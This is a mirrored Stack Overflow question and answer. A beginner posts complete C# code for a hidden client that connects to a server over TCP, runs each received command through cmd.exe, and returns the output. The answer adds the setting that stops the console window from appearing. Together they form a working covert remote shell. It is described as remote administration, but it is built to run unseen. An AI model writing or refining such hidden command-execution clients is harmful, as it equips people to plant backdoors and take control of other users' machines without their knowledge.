質問

Hi im new in c# and i'm trying to build a client program that get commands from server and execute them with CMD.

in the project properties i change the "output type" from "console application" to "windows application" because i want to hide the client console window.

everything working great but i have one problem, everytime that the server send command to the client, the client's console window pop up for a sec and then send the output to my server. How i hide the console window permanently?

My Code:

using System;
using System.Collections.Generic;
using System.Linq;
using System.Text;
using System.Net;
using System.Net.Sockets;
using System.Diagnostics;

namespace Client
{
    class Program
{
    static void Main(string[] args)
    {
        Socket sck = new Socket(AddressFamily.InterNetwork, SocketType.Stream, ProtocolType.Tcp);

        IPEndPoint endPoint = new IPEndPoint(IPAddress.Parse("127.0.0.1"), 8000);
        sck.Connect(endPoint);



        while (true)
        {
            string shell = "$: ";
            byte[] shellbuf = Encoding.Default.GetBytes(shell);
            sck.Send(shellbuf, 0, shellbuf.Length, 0);

            byte[] buffer = new byte[255]; // buffer for recieved command
            int rec = sck.Receive(buffer, 0, buffer.Length, 0); // receving

            Array.Resize(ref buffer, rec);
            string command;
            command = Encoding.Default.GetString(buffer); // recieved command from bytes to string


            if (command == "quit\n") // quit and close socket
            {
                sck.Close();
                break;

            }

            // execute command
            Process p = new Process();
            p.StartInfo.WindowStyle = System.Diagnostics.ProcessWindowStyle.Hidden;
            p.StartInfo.FileName = "cmd.exe";
            p.StartInfo.Arguments = "/C " + command ;
            p.StartInfo.RedirectStandardOutput = true;
            p.StartInfo.RedirectStandardError = true;
            p.StartInfo.UseShellExecute = false;
            p.Start();
            string output = p.StandardOutput.ReadToEnd();
            string error = p.StandardError.ReadToEnd();

            // sending command output
            byte[] outputbuf = Encoding.Default.GetBytes(output);
            byte[] errorbuf = Encoding.Default.GetBytes(error);
            sck.Send(outputbuf, 0, outputbuf.Length, 0);
            sck.Send(errorbuf, 0, errorbuf.Length, 0);


        }







    }
}

}

the program purpose is for remote administration. thank you.

役に立ちましたか?

解決

I suggest to add CreateNoWindow Property to your Process, below is syntax for that.

  p.StartInfo.CreateNoWindow = true;

Thanks Suresh

ライセンス: CC-BY-SA帰属
所属していません StackOverflow
scroll top